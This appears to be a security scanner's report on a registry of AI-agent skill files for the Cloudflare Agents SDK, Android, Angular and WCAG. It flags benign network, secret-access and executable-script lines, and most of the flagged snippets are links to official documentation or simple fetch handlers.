|------|------|-----| | axe DevTools | Browser extension | [deque.com/axe](https://www.deque.com/axe/) | | WAVE | Browser extension | [wave.webaim.org](https://wave.webaim.org/) | - Network accessline 180
| axe DevTools | Browser extension | [deque.com/axe](https://www.deque.com/axe/) | - Network accessline 181
| WAVE | Browser extension | [wave.webaim.org](https://wave.webaim.org/) | - Network accessline 182
| Lighthouse | Built into Chrome | DevTools → Lighthouse | | NVDA | Screen reader (Windows) | [nvaccess.org](https://www.nvaccess.org/) | | VoiceOver | Screen reader (Mac) | Built into macOS | - Network accessline 183
| NVDA | Screen reader (Windows) | [nvaccess.org](https://www.nvaccess.org/) | - Network accessline 185
| Colour Contrast Analyser | Desktop app | [tpgi.com](https://www.tpgi.com/color-contrast-checker/) | - Network accessline 189
- [WCAG 2.2 W3C Recommendation](https://www.w3.org/TR/WCAG22/) - Network accessline 190
- [WCAG 2.2 Quick Reference](https://www.w3.org/WAI/WCAG22/quickref/) - Network accessline 191
- [What's New in WCAG 2.2](https://www.w3.org/WAI/standards-guidelines/wcag/new-in-22/)
packages/autoskills/skills-registry/agents-sdk/SKILL.md
- Network accessline 12
Cloudflare docs: https://developers.cloudflare.com/agents/index.md - Network accessline 14
| Topic | Docs URL | Use for | |-------|----------|---------| | Getting started | [Quick start](https://developers.cloudflare.com/agents/getting-started/quick-start/index.md) | First agent, project setup | - Network accessline 15
|-------|----------|---------| | Getting started | [Quick start](https://developers.cloudflare.com/agents/getting-started/quick-start/index.md) | First agent, project setup | | Adding to existing project | [Add to existing project](https:// - Network accessline 16
| Getting started | [Quick start](https://developers.cloudflare.com/agents/getting-started/quick-start/index.md) | First agent, project setup | - Network accessline 17
| Adding to existing project | [Add to existing project](https://developers.cloudflare.com/agents/getting-started/add-to-existing-project/index.md) | Install into existing Workers app | - Network accessline 18
| Configuration | [Configuration](https://developers.cloudflare.com/agents/runtime/operations/configuration/index.md) | `wrangler.jsonc`, bindings, assets, deployment | - Network accessline 19
| Agent class | [Agents API](https://developers.cloudflare.com/agents/runtime/agents-api/index.md) | Agent lifecycle, patterns, pitfalls | - Network accessline 20
| State | [Store and sync state](https://developers.cloudflare.com/agents/runtime/lifecycle/state/index.md) | `setState`, `validateStateChange`, persistence | - Network accessline 21
| Routing | [Routing](https://developers.cloudflare.com/agents/runtime/communication/routing/index.md) | URL patterns, `routeAgentRequest` | - Network accessline 22
| Callable methods | [Callable methods](https://developers.cloudflare.com/agents/runtime/lifecycle/callable-methods/index.md) | `@callable`, RPC, streaming, timeouts | - Network accessline 23
| Scheduling | [Schedule tasks](https://developers.cloudflare.com/agents/runtime/execution/schedule-tasks/index.md) | `schedule()`, `scheduleEvery()`, cron | - Network accessline 24
| Workflows | [Run workflows](https://developers.cloudflare.com/agents/runtime/execution/run-workflows/index.md) | `AgentWorkflow`, durable multi-step tasks | - Network accessline 25
| HTTP/WebSockets | [WebSockets](https://developers.cloudflare.com/agents/runtime/communication/websockets/index.md) | Lifecycle hooks, hibernation | - Network accessline 26
| Chat agents | [Chat agents](https://developers.cloudflare.com/agents/communication-channels/chat/chat-agents/index.md) | `AIChatAgent`, streaming, tools, persistence | - Network accessline 27
| Client SDK | [Client SDK](https://developers.cloudflare.com/agents/communication-channels/chat/client-sdk/index.md) | `useAgent`, `AgentClient`, state, RPC, HTTP | - Network accessline 28
| Client tools | [Client tools](https://developers.cloudflare.com/agents/harnesses/think/client-tools/index.md) | Client-side tools, `autoContinueAfterToolResult` | - Network accessline 29
| Server-driven messages | [Autonomous responses](https://developers.cloudflare.com/agents/communication-channels/chat/autonomous-responses/index.md) | `saveMessages`, `waitUntilStable`, server-initiated turns | - Network accessline 30
| Resumable streaming | [Chat agents](https://developers.cloudflare.com/agents/communication-channels/chat/chat-agents/index.md#resumable-streaming) | Stream recovery on disconnect | - Network accessline 31
| Email | [Email](https://developers.cloudflare.com/agents/communication-channels/email/index.md) | Email routing, secure reply resolver | - Network accessline 32
| MCP client | [MCP client](https://developers.cloudflare.com/agents/model-context-protocol/apis/client-api/index.md) | Connecting to MCP servers | - Network accessline 33
| MCP server | [MCP server](https://developers.cloudflare.com/agents/model-context-protocol/apis/handler-api/index.md) | Building MCP servers with `createMcpHandler` | - Network accessline 34
| MCP transports | [MCP transports](https://developers.cloudflare.com/agents/model-context-protocol/protocol/transport/index.md) | Streamable HTTP, SSE, RPC transport options | - Network accessline 35
| Securing MCP servers | [Securing MCP](https://developers.cloudflare.com/agents/model-context-protocol/guides/securing-mcp-server/index.md) | OAuth, proxy MCP, hardening | - Network accessline 36
| Human-in-the-loop | [Human-in-the-loop](https://developers.cloudflare.com/agents/concepts/agentic-patterns/human-in-the-loop/index.md) | Workflow approvals, elicitation, timeout handling | - Network accessline 37
| Durable execution | [Durable execution](https://developers.cloudflare.com/agents/runtime/execution/durable-execution/index.md) | `runFiber()`, `stash()`, surviving DO eviction | - Network accessline 38
| Queue | [Queue](https://developers.cloudflare.com/agents/runtime/execution/queue-tasks/index.md) | Built-in FIFO queue, `queue()` | - Network accessline 39
| Retries | [Retries](https://developers.cloudflare.com/agents/runtime/execution/retries/index.md) | `this.retry()`, backoff/jitter | - Network accessline 40
| Observability | [Observability](https://developers.cloudflare.com/agents/runtime/operations/observability/index.md) | Diagnostics-channel events | - Network accessline 41
| Push notifications | [Push notifications](https://developers.cloudflare.com/agents/communication-channels/webhooks/push-notifications/index.md) | Web Push + VAPID from agents | - Network accessline 42
| Webhooks | [Webhooks](https://developers.cloudflare.com/agents/communication-channels/webhooks/index.md) | Receiving external webhooks | - Network accessline 43
| Cross-domain auth | [Cross-domain auth](https://developers.cloudflare.com/agents/runtime/operations/cross-domain-authentication/index.md) | WebSocket auth, tokens, CORS | - Network accessline 44
| Readonly connections | [Readonly](https://developers.cloudflare.com/agents/runtime/communication/readonly-connections/index.md) | `shouldConnectionBeReadonly` | - Network accessline 45
| Voice | [Voice](https://developers.cloudflare.com/agents/communication-channels/voice/index.md) | Experimental STT/TTS, `withVoice` | - Network accessline 46
| Browse the web | [Browser tools](https://developers.cloudflare.com/agents/tools/browser/index.md) | Experimental CDP browser automation | - Network accessline 47
| Think | [Think](https://developers.cloudflare.com/agents/harnesses/think/index.md) | Experimental higher-level chat agent class | - Network accessline 48
| Migrations | [AI SDK v5](https://github.com/cloudflare/agents/blob/main/docs/agents/migration-to-ai-sdk-v5.md), [AI SDK v6](https://github.com/cloudflare/agents/blob/main/docs/agents/migration-to-ai-sdk-v6.md) | Upgrading `@cloudflare/ai- - Network accessline 148
Custom routing: use `getAgentByName(env.MyAgent, "instance-id")` then `agent.fetch(request)`.
packages/autoskills/skills-registry/agents-sdk/references/browse-the-web.md
- Network accessline 3
Fetch https://developers.cloudflare.com/agents/tools/browser/index.md for complete documentation. - Access to secretsline 23
[Credential-related source omitted] - Network accessline 52
- Need a real browser (JS rendering, screenshots, interaction) → browser tools - Just need HTML/API data → use `fetch()` instead (faster, cheaper) - Network accessline 53
- Just need HTML/API data → use `fetch()` instead (faster, cheaper) - Network accessline 60
const browser = await connectBrowser(this.env.BROWSER); const cdp = new CdpSession(browser); await cdp.send("Page.navigate", { url: "https://example.com" }); - Network accessline 62
await cdp.send("Page.navigate", { url: "https://example.com" });
packages/autoskills/skills-registry/agents-sdk/references/callable.md
- Network accessline 3
Fetch https://developers.cloudflare.com/agents/runtime/lifecycle/callable-methods/index.md for complete documentation.
packages/autoskills/skills-registry/agents-sdk/references/client-sdk.md
- Network accessline 5
| Task | Documentation | |------|---------------| | Connect, sync state, call RPC, or send HTTP requests | [Client SDK](https://developers.cloudflare.com/agents/communication-channels/chat/client-sdk/index.md) — hooks, vanilla JS, typed cal - Network accessline 6
|------|---------------| | Connect, sync state, call RPC, or send HTTP requests | [Client SDK](https://developers.cloudflare.com/agents/communication-channels/chat/client-sdk/index.md) — hooks, vanilla JS, typed calls, streaming callbacks, - Network accessline 7
| Connect, sync state, call RPC, or send HTTP requests | [Client SDK](https://developers.cloudflare.com/agents/communication-channels/chat/client-sdk/index.md) — hooks, vanilla JS, typed calls, streaming callbacks, and connection options | - Network accessline 8
| Build chat UI | [Chat agents](https://developers.cloudflare.com/agents/communication-channels/chat/chat-agents/index.md) — `useAgentChat`, message rendering, status, and tool interactions | - Network accessline 9
| Authenticate across origins | [Cross-domain authentication](https://developers.cloudflare.com/agents/runtime/operations/cross-domain-authentication/index.md) — token validation and WebSocket authentication |
packages/autoskills/skills-registry/agents-sdk/references/codemode.md
- Network accessline 3
Fetch https://developers.cloudflare.com/agents/tools/codemode/api-reference/index.md for complete documentation. - Network accessline 91
3. Code runs in an isolated Worker sandbox via `DynamicWorkerExecutor` 4. Tool calls route back to the host via Workers RPC 5. External `fetch()` is blocked by default — sandbox can only call your tools - Network accessline 93
5. External `fetch()` is blocked by default — sandbox can only call your tools
packages/autoskills/skills-registry/agents-sdk/references/configuration.md
- Network accessline 3
Fetch https://developers.cloudflare.com/agents/runtime/operations/configuration/index.md for complete documentation.
packages/autoskills/skills-registry/agents-sdk/references/durable-execution.md
- Network accessline 3
Fetch https://developers.cloudflare.com/agents/runtime/execution/durable-execution/index.md for complete documentation.
packages/autoskills/skills-registry/agents-sdk/references/email.md
- Network accessline 3
Fetch https://developers.cloudflare.com/agents/communication-channels/email/index.md for complete documentation. - Network accessline 60
async fetch(request, env) { - Access to secretsline 87
[Credential-related source omitted] - Access to secretsline 101
[Credential-related source omitted] - Access to secretsline 119
[Credential-related source omitted]
packages/autoskills/skills-registry/agents-sdk/references/human-in-the-loop.md
- Network accessline 5
| Need | Documentation | |------|---------------| | Approve chat tool execution or run a browser-side tool | [Chat agents](https://developers.cloudflare.com/agents/communication-channels/chat/chat-agents/index.md) — `needsApproval`, approva - Network accessline 6
|------|---------------| | Approve chat tool execution or run a browser-side tool | [Chat agents](https://developers.cloudflare.com/agents/communication-channels/chat/chat-agents/index.md) — `needsApproval`, approval responses, client tools - Network accessline 7
| Approve chat tool execution or run a browser-side tool | [Chat agents](https://developers.cloudflare.com/agents/communication-channels/chat/chat-agents/index.md) — `needsApproval`, approval responses, client tools, and custom denial messa - Network accessline 8
| Pause a durable background task or collect MCP input | [Human-in-the-loop patterns](https://developers.cloudflare.com/agents/concepts/agentic-patterns/human-in-the-loop/index.md) — workflow approval, timeout handling, and elicitation |
packages/autoskills/skills-registry/agents-sdk/references/mcp.md
- Network accessline 7
| Task | Documentation | |------|---------------| | Build a server | [Handler API](https://developers.cloudflare.com/agents/model-context-protocol/apis/handler-api/index.md) — server factories, Worker entrypoint, dependencies, and examples - Network accessline 8
|------|---------------| | Build a server | [Handler API](https://developers.cloudflare.com/agents/model-context-protocol/apis/handler-api/index.md) — server factories, Worker entrypoint, dependencies, and examples | | Migrate an existing s - Network accessline 9
| Build a server | [Handler API](https://developers.cloudflare.com/agents/model-context-protocol/apis/handler-api/index.md) — server factories, Worker entrypoint, dependencies, and examples | - Network accessline 10
| Migrate an existing server | [MCP SDK v2 migration](https://developers.cloudflare.com/agents/model-context-protocol/guides/migrate-to-mcp-sdk-v2/index.md) — stateless migration and temporary legacy paths | - Network accessline 11
| Connect to servers and use their tools | [Client API](https://developers.cloudflare.com/agents/model-context-protocol/apis/client-api/index.md) — connections, OAuth, tools, resources, and retries | - Network accessline 12
| Choose a transport | [Transports](https://developers.cloudflare.com/agents/model-context-protocol/protocol/transport/index.md) — remote HTTP and existing RPC integrations | - Network accessline 13
| Secure a server | [Securing MCP servers](https://developers.cloudflare.com/agents/model-context-protocol/guides/securing-mcp-server/index.md) — OAuth and proxy security |
packages/autoskills/skills-registry/agents-sdk/references/observability.md
- Network accessline 3
Fetch https://developers.cloudflare.com/agents/runtime/operations/observability/index.md for complete documentation.
packages/autoskills/skills-registry/agents-sdk/references/queue-retries.md
- Network accessline 5
| Task | Documentation | |------|---------------| | Enqueue, inspect, and remove background work; understand sequential processing and failure handling | [Queue tasks](https://developers.cloudflare.com/agents/runtime/execution/queue-tasks/i - Network accessline 6
|------|---------------| | Enqueue, inspect, and remove background work; understand sequential processing and failure handling | [Queue tasks](https://developers.cloudflare.com/agents/runtime/execution/queue-tasks/index.md) | | Retry an ope - Network accessline 7
| Enqueue, inspect, and remove background work; understand sequential processing and failure handling | [Queue tasks](https://developers.cloudflare.com/agents/runtime/execution/queue-tasks/index.md) | - Network accessline 8
| Retry an operation or configure retries for queued and scheduled callbacks | [Retries](https://developers.cloudflare.com/agents/runtime/execution/retries/index.md) | - Network accessline 9
| Delay recovery or run work on a recurring schedule | [Schedule tasks](https://developers.cloudflare.com/agents/runtime/execution/schedule-tasks/index.md) |
packages/autoskills/skills-registry/agents-sdk/references/routing.md
- Network accessline 3
Fetch https://developers.cloudflare.com/agents/runtime/communication/routing/index.md for complete documentation. - Network accessline 31
export default { async fetch(req, env) { - Network accessline 32
async fetch(req, env) { - Network accessline 34
if (url.pathname.startsWith("/api/")) { const agent = getAgentByName(env.MyAgent, "singleton"); return agent.fetch(req); - Network accessline 35
const agent = getAgentByName(env.MyAgent, "singleton"); return agent.fetch(req); } - Network accessline 36
return agent.fetch(req); - Network accessline 63
agent: "MyAgent", name: "instance-1", host: "https://my-worker.workers.dev", - Network accessline 64
name: "instance-1", host: "https://my-worker.workers.dev", basePath: "/api/agents", - Network accessline 65
host: "https://my-worker.workers.dev",
packages/autoskills/skills-registry/agents-sdk/references/server-driven-messages.md
- Network accessline 3
Read [Autonomous responses](https://developers.cloudflare.com/agents/communication-channels/chat/autonomous-responses/index.md) for scheduled, webhook, email, and agent-triggered turns, message schemas, response hooks, and client streaming
packages/autoskills/skills-registry/agents-sdk/references/state-scheduling.md
- Network accessline 5
| Task | Documentation | |------|---------------| | Define state, validate updates, choose state versus SQL, and query SQLite | [Store and sync state](https://developers.cloudflare.com/agents/runtime/lifecycle/state/index.md) | - Network accessline 6
|------|---------------| | Define state, validate updates, choose state versus SQL, and query SQLite | [Store and sync state](https://developers.cloudflare.com/agents/runtime/lifecycle/state/index.md) | | Synchronize state with React or van - Network accessline 7
| Define state, validate updates, choose state versus SQL, and query SQLite | [Store and sync state](https://developers.cloudflare.com/agents/runtime/lifecycle/state/index.md) | - Network accessline 8
| Synchronize state with React or vanilla JavaScript clients | [Client SDK](https://developers.cloudflare.com/agents/communication-channels/chat/client-sdk/index.md) | - Network accessline 9
| Select delayed, date-based, cron, or interval execution; manage schedules and callbacks | [Schedule tasks](https://developers.cloudflare.com/agents/runtime/execution/schedule-tasks/index.md) | - Network accessline 10
| Configure schedule retry behavior | [Retries](https://developers.cloudflare.com/agents/runtime/execution/retries/index.md) | - Network accessline 11
| Handle lifecycle events, connections, and hibernation | [WebSockets](https://developers.cloudflare.com/agents/runtime/communication/websockets/index.md) |
packages/autoskills/skills-registry/agents-sdk/references/streaming-chat.md
- Network accessline 7
| Task | Documentation | |------|---------------| | Build a chat agent | [Chat agent example](https://developers.cloudflare.com/agents/examples/chat-agent/index.md) — setup, provider, server, and UI | - Network accessline 8
|------|---------------| | Build a chat agent | [Chat agent example](https://developers.cloudflare.com/agents/examples/chat-agent/index.md) — setup, provider, server, and UI | | Implement or customize chat | [Chat agents](https://developers - Network accessline 9
| Build a chat agent | [Chat agent example](https://developers.cloudflare.com/agents/examples/chat-agent/index.md) — setup, provider, server, and UI | - Network accessline 10
| Implement or customize chat | [Chat agents](https://developers.cloudflare.com/agents/communication-channels/chat/chat-agents/index.md) — message format, tools, custom streams, persistence, concurrency, cancellation, and recovery | - Network accessline 11
| Connect a client | [Client guidance](client-sdk.md) — React, vanilla JS, HTTP, and authentication | | Stream non-chat results | [Callable methods](https://developers.cloudflare.com/agents/runtime/lifecycle/callable-methods/index.md) — ser - Network accessline 12
| Stream non-chat results | [Callable methods](https://developers.cloudflare.com/agents/runtime/lifecycle/callable-methods/index.md) — server and client streaming RPC |
packages/autoskills/skills-registry/agents-sdk/references/think.md
packages/autoskills/skills-registry/agents-sdk/references/voice.md
packages/autoskills/skills-registry/agents-sdk/references/webhooks-push.md
- Network accessline 5
Fetch https://developers.cloudflare.com/agents/communication-channels/webhooks/index.md for complete documentation. - Network accessline 10
export default { async fetch(req: Request, env: Env) { - Network accessline 11
async fetch(req: Request, env: Env) { - Network accessline 14
const entityId = url.pathname.split("/")[2]; const agent = getAgentByName(env.MyAgent, entityId); return agent.fetch(req); - Network accessline 15
const agent = getAgentByName(env.MyAgent, entityId); return agent.fetch(req); } - Network accessline 16
return agent.fetch(req); - Access to secretsline 29
[Credential-related source omitted] - Network accessline 43
Fetch https://developers.cloudflare.com/agents/communication-channels/webhooks/push-notifications/index.md for complete documentation. - Access to secretsline 72
[Credential-related source omitted] - Access to secretsline 73
[Credential-related source omitted]
packages/autoskills/skills-registry/agents-sdk/references/workflows.md
- Network accessline 3
Use Agents for interactive communication and state management. Add a Workflow when a task needs durable multi-step execution, independent retries, or waits for external approval. Choose based on recovery needs; consult [Run Workflows](https - Network accessline 7
| Task | Documentation | | --- | --- | | Define a typed `AgentWorkflow`, start it from an Agent, and configure bindings | [Quick start](https://developers.cloudflare.com/agents/runtime/execution/run-workflows/index.md#quick-start) | - Network accessline 8
| --- | --- | | Define a typed `AgentWorkflow`, start it from an Agent, and configure bindings | [Quick start](https://developers.cloudflare.com/agents/runtime/execution/run-workflows/index.md#quick-start) | | Call back into the originating - Network accessline 9
| Define a typed `AgentWorkflow`, start it from an Agent, and configure bindings | [Quick start](https://developers.cloudflare.com/agents/runtime/execution/run-workflows/index.md#quick-start) | - Network accessline 10
| Call back into the originating Agent and understand durable versus non-durable helpers | [AgentWorkflow class](https://developers.cloudflare.com/agents/runtime/execution/run-workflows/index.md#agentworkflow-class) | - Network accessline 11
| Send events, query instances, pause, resume, terminate, or delete tracked workflows | [Agent workflow methods](https://developers.cloudflare.com/agents/runtime/execution/run-workflows/index.md#agent-workflow-methods) | - Network accessline 12
| Receive progress, completion, errors, and custom events | [Lifecycle callbacks](https://developers.cloudflare.com/agents/runtime/execution/run-workflows/index.md#lifecycle-callbacks) | - Network accessline 13
| Approve or reject a waiting task | [Human-in-the-loop approval](https://developers.cloudflare.com/agents/runtime/execution/run-workflows/index.md#human-in-the-loop-approval) | - Network accessline 14
| Persist Workflow results into Agent state | [State synchronization](https://developers.cloudflare.com/agents/runtime/execution/run-workflows/index.md#state-synchronization) | - Network accessline 15
| Define steps, parameters, retries, and returned values | [Workers API](https://developers.cloudflare.com/workflows/build/workers-api/index.md) | - Network accessline 19
Keep external side effects within durable steps, make retried operations idempotent, and persist the values needed after recovery through step results. Use the [Rules of Workflows](https://developers.cloudflare.com/workflows/build/rules-of- - Network accessline 21
Progress reports and client broadcasts may repeat on retry. Use the documented durable step helpers for persistent Agent state changes and completion reporting; see [bidirectional communication](https://developers.cloudflare.com/agents/runt
packages/autoskills/skills-registry/android-architecture-clean/SKILL.md
- Network accessline 61
## Official References - [https://developer.android.com/topic/architecture](https://developer.android.com/topic/architecture) - Network accessline 62
- [https://developer.android.com/topic/architecture](https://developer.android.com/topic/architecture) - Network accessline 63
- [https://developer.android.com/topic/architecture/recommendations](https://developer.android.com/topic/architecture/recommendations) - Network accessline 64
- [https://developer.android.com/jetpack/guide](https://developer.android.com/jetpack/guide) - Network accessline 65
- [https://developer.android.com/topic/libraries/architecture/viewmodel](https://developer.android.com/topic/libraries/architecture/viewmodel)
packages/autoskills/skills-registry/android-architecture-clean/references/official-links.md
- Network accessline 3
- [https://developer.android.com/topic/architecture](https://developer.android.com/topic/architecture) - Network accessline 4
- [https://developer.android.com/topic/architecture/recommendations](https://developer.android.com/topic/architecture/recommendations) - Network accessline 5
- [https://developer.android.com/jetpack/guide](https://developer.android.com/jetpack/guide) - Network accessline 6
- [https://developer.android.com/topic/libraries/architecture/viewmodel](https://developer.android.com/topic/libraries/architecture/viewmodel)
packages/autoskills/skills-registry/android-architecture-clean/scripts/run_examples.sh
- Executable scriptline 1
#!/usr/bin/env bash
packages/autoskills/skills-registry/android-compose-foundations/SKILL.md
- Network accessline 61
## Official References - [https://developer.android.com/develop/ui/compose](https://developer.android.com/develop/ui/compose) - Network accessline 62
- [https://developer.android.com/develop/ui/compose](https://developer.android.com/develop/ui/compose) - Network accessline 63
- [https://developer.android.com/develop/ui/compose/layouts/basics](https://developer.android.com/develop/ui/compose/layouts/basics) - Network accessline 64
- [https://developer.android.com/develop/ui/compose/modifiers](https://developer.android.com/develop/ui/compose/modifiers) - Network accessline 65
- [https://developer.android.com/develop/ui/compose/designsystems/material3](https://developer.android.com/develop/ui/compose/designsystems/material3)
packages/autoskills/skills-registry/android-compose-foundations/references/official-links.md
- Network accessline 3
- [https://developer.android.com/develop/ui/compose](https://developer.android.com/develop/ui/compose) - Network accessline 4
- [https://developer.android.com/develop/ui/compose/layouts/basics](https://developer.android.com/develop/ui/compose/layouts/basics) - Network accessline 5
- [https://developer.android.com/develop/ui/compose/modifiers](https://developer.android.com/develop/ui/compose/modifiers) - Network accessline 6
- [https://developer.android.com/develop/ui/compose/designsystems/material3](https://developer.android.com/develop/ui/compose/designsystems/material3)
packages/autoskills/skills-registry/android-compose-foundations/scripts/run_examples.sh
- Executable scriptline 1
#!/usr/bin/env bash
packages/autoskills/skills-registry/android-coroutines-flow/SKILL.md
- Network accessline 91
## Official References - [https://developer.android.com/kotlin/coroutines](https://developer.android.com/kotlin/coroutines) - Network accessline 92
- [https://developer.android.com/kotlin/coroutines](https://developer.android.com/kotlin/coroutines) - Network accessline 93
- [https://developer.android.com/topic/libraries/architecture/coroutines](https://developer.android.com/topic/libraries/architecture/coroutines) - Network accessline 94
- [https://kotlinlang.org/docs/coroutines-overview.html](https://kotlinlang.org/docs/coroutines-overview.html) - Network accessline 95
- [https://kotlinlang.org/docs/flow.html](https://kotlinlang.org/docs/flow.html)
packages/autoskills/skills-registry/android-coroutines-flow/references/official-links.md
- Network accessline 3
- [https://developer.android.com/kotlin/coroutines](https://developer.android.com/kotlin/coroutines) - Network accessline 4
- [https://developer.android.com/topic/libraries/architecture/coroutines](https://developer.android.com/topic/libraries/architecture/coroutines) - Network accessline 5
- [https://kotlinlang.org/docs/coroutines-overview.html](https://kotlinlang.org/docs/coroutines-overview.html) - Network accessline 6
- [https://kotlinlang.org/docs/flow.html](https://kotlinlang.org/docs/flow.html)
packages/autoskills/skills-registry/android-coroutines-flow/scripts/run_examples.sh
- Executable scriptline 1
#!/usr/bin/env bash
packages/autoskills/skills-registry/android-di-hilt/SKILL.md
- Network accessline 68
## Official References - [https://developer.android.com/training/dependency-injection/hilt-android](https://developer.android.com/training/dependency-injection/hilt-android) - Network accessline 69
- [https://developer.android.com/training/dependency-injection/hilt-android](https://developer.android.com/training/dependency-injection/hilt-android) - Network accessline 70
- [https://developer.android.com/training/dependency-injection/hilt-testing](https://developer.android.com/training/dependency-injection/hilt-testing) - Network accessline 71
- [https://developer.android.com/training/dependency-injection/hilt-multi-module](https://developer.android.com/training/dependency-injection/hilt-multi-module) - Network accessline 72
- [https://developer.android.com/topic/libraries/architecture/viewmodel](https://developer.android.com/topic/libraries/architecture/viewmodel) - Network accessline 73
- [https://developer.android.com/training/dependency-injection/manual](https://developer.android.com/training/dependency-injection/manual)
packages/autoskills/skills-registry/android-di-hilt/references/official-links.md
- Network accessline 3
- [https://developer.android.com/training/dependency-injection/hilt-android](https://developer.android.com/training/dependency-injection/hilt-android) - Network accessline 4
- [https://developer.android.com/training/dependency-injection/hilt-testing](https://developer.android.com/training/dependency-injection/hilt-testing) - Network accessline 5
- [https://developer.android.com/training/dependency-injection/hilt-multi-module](https://developer.android.com/training/dependency-injection/hilt-multi-module) - Network accessline 6
- [https://developer.android.com/topic/libraries/architecture/viewmodel](https://developer.android.com/topic/libraries/architecture/viewmodel) - Network accessline 7
- [https://developer.android.com/training/dependency-injection/manual](https://developer.android.com/training/dependency-injection/manual)
packages/autoskills/skills-registry/android-di-hilt/scripts/run_examples.sh
- Executable scriptline 1
#!/usr/bin/env bash
packages/autoskills/skills-registry/android-gradle-build-logic/SKILL.md
- Network accessline 61
## Official References - [https://developer.android.com/build](https://developer.android.com/build) - Network accessline 62
- [https://developer.android.com/build](https://developer.android.com/build) - Network accessline 63
- [https://developer.android.com/build/releases/gradle-plugin](https://developer.android.com/build/releases/gradle-plugin) - Network accessline 64
- [https://developer.android.com/build/migrate-to-built-in-kotlin](https://developer.android.com/build/migrate-to-built-in-kotlin) - Network accessline 65
- [https://docs.gradle.org/current/userguide/userguide.html](https://docs.gradle.org/current/userguide/userguide.html)
packages/autoskills/skills-registry/android-gradle-build-logic/references/official-links.md
- Network accessline 3
- [https://developer.android.com/build](https://developer.android.com/build) - Network accessline 4
- [https://developer.android.com/build/releases/gradle-plugin](https://developer.android.com/build/releases/gradle-plugin) - Network accessline 5
- [https://developer.android.com/build/migrate-to-built-in-kotlin](https://developer.android.com/build/migrate-to-built-in-kotlin) - Network accessline 6
- [https://docs.gradle.org/current/userguide/userguide.html](https://docs.gradle.org/current/userguide/userguide.html)
packages/autoskills/skills-registry/android-gradle-build-logic/scripts/run_examples.sh
- Executable scriptline 1
#!/usr/bin/env bash
packages/autoskills/skills-registry/android-kotlin-core/SKILL.md
- Network accessline 61
## Official References - [https://developer.android.com/kotlin](https://developer.android.com/kotlin) - Network accessline 62
- [https://developer.android.com/kotlin](https://developer.android.com/kotlin) - Network accessline 63
- [https://developer.android.com/build/kotlin-support](https://developer.android.com/build/kotlin-support) - Network accessline 64
- [https://kotlinlang.org/docs/coding-conventions.html](https://kotlinlang.org/docs/coding-conventions.html) - Network accessline 65
- [https://kotlinlang.org/docs/null-safety.html](https://kotlinlang.org/docs/null-safety.html)
packages/autoskills/skills-registry/android-kotlin-core/references/official-links.md
- Network accessline 3
- [https://developer.android.com/kotlin](https://developer.android.com/kotlin) - Network accessline 4
- [https://developer.android.com/build/kotlin-support](https://developer.android.com/build/kotlin-support) - Network accessline 5
- [https://kotlinlang.org/docs/coding-conventions.html](https://kotlinlang.org/docs/coding-conventions.html) - Network accessline 6
- [https://kotlinlang.org/docs/null-safety.html](https://kotlinlang.org/docs/null-safety.html)
packages/autoskills/skills-registry/android-kotlin-core/scripts/run_examples.sh
- Executable scriptline 1
#!/usr/bin/env bash
packages/autoskills/skills-registry/android-networking-retrofit-okhttp/SKILL.md
- Network accessline 61
## Official References - [https://developer.android.com/develop/connectivity/network-ops/connecting](https://developer.android.com/develop/connectivity/network-ops/connecting) - Network accessline 62
- [https://developer.android.com/develop/connectivity/network-ops/connecting](https://developer.android.com/develop/connectivity/network-ops/connecting) - Network accessline 63
- [https://developer.android.com/topic/architecture/data-layer/offline-first](https://developer.android.com/topic/architecture/data-layer/offline-first) - Network accessline 64
- [https://developer.android.com/training/volley](https://developer.android.com/training/volley) - Network accessline 65
- [https://developer.android.com/training/articles/perf-anr](https://developer.android.com/training/articles/perf-anr)
packages/autoskills/skills-registry/android-networking-retrofit-okhttp/references/official-links.md
- Network accessline 3
- [https://developer.android.com/develop/connectivity/network-ops/connecting](https://developer.android.com/develop/connectivity/network-ops/connecting) - Network accessline 4
- [https://developer.android.com/topic/architecture/data-layer/offline-first](https://developer.android.com/topic/architecture/data-layer/offline-first) - Network accessline 5
- [https://developer.android.com/training/volley](https://developer.android.com/training/volley) - Network accessline 6
- [https://developer.android.com/training/articles/perf-anr](https://developer.android.com/training/articles/perf-anr)
packages/autoskills/skills-registry/android-networking-retrofit-okhttp/scripts/run_examples.sh
- Executable scriptline 1
#!/usr/bin/env bash
packages/autoskills/skills-registry/android-testing-unit/SKILL.md
- Network accessline 61
## Official References - [https://developer.android.com/training/testing/local-tests](https://developer.android.com/training/testing/local-tests) - Network accessline 62
- [https://developer.android.com/training/testing/local-tests](https://developer.android.com/training/testing/local-tests) - Network accessline 63
- [https://developer.android.com/training/testing/fundamentals](https://developer.android.com/training/testing/fundamentals) - Network accessline 64
- [https://developer.android.com/topic/libraries/architecture/viewmodel](https://developer.android.com/topic/libraries/architecture/viewmodel) - Network accessline 65
- [https://kotlinlang.org/docs/jvm-test-using-junit.html](https://kotlinlang.org/docs/jvm-test-using-junit.html)
packages/autoskills/skills-registry/android-testing-unit/references/official-links.md
- Network accessline 3
- [https://developer.android.com/training/testing/local-tests](https://developer.android.com/training/testing/local-tests) - Network accessline 4
- [https://developer.android.com/training/testing/fundamentals](https://developer.android.com/training/testing/fundamentals) - Network accessline 5
- [https://developer.android.com/topic/libraries/architecture/viewmodel](https://developer.android.com/topic/libraries/architecture/viewmodel) - Network accessline 6
- [https://kotlinlang.org/docs/jvm-test-using-junit.html](https://kotlinlang.org/docs/jvm-test-using-junit.html)
packages/autoskills/skills-registry/android-testing-unit/scripts/run_examples.sh
- Executable scriptline 1
#!/usr/bin/env bash
packages/autoskills/skills-registry/angular-developer/SKILL.md
- Network accessline 56
If you require deeper documentation not found in the references above, read the documentation at `https://angular.dev/guide/components`. - Network accessline 121
If you require deeper documentation or more context, visit the [official Angular Routing guide](https://angular.dev/guide/routing).
packages/autoskills/skills-registry/angular-developer/references/cli.md
packages/autoskills/skills-registry/angular-developer/references/deferrable-views.md
- Network accessline 39
See [defer block triggers](https://angular.dev/guide/templates/defer#controlling-deferred-content-loading-with-triggers)
packages/autoskills/skills-registry/angular-developer/references/defining-providers.md
- Network accessline 20
export const APP_CONFIG = new InjectionToken<AppConfig>('app.config', { providedIn: 'root', factory: () => ({apiUrl: 'https://api.example.com'}), - Network accessline 21
providedIn: 'root', factory: () => ({apiUrl: 'https://api.example.com'}), }); - Network accessline 22
factory: () => ({apiUrl: 'https://api.example.com'}), - Network accessline 39
// useValue: Provide static values {provide: API_URL_TOKEN, useValue: 'https://api.example.com'}, - Network accessline 40
{provide: API_URL_TOKEN, useValue: 'https://api.example.com'},
packages/autoskills/skills-registry/angular-developer/references/environment-configuration.md
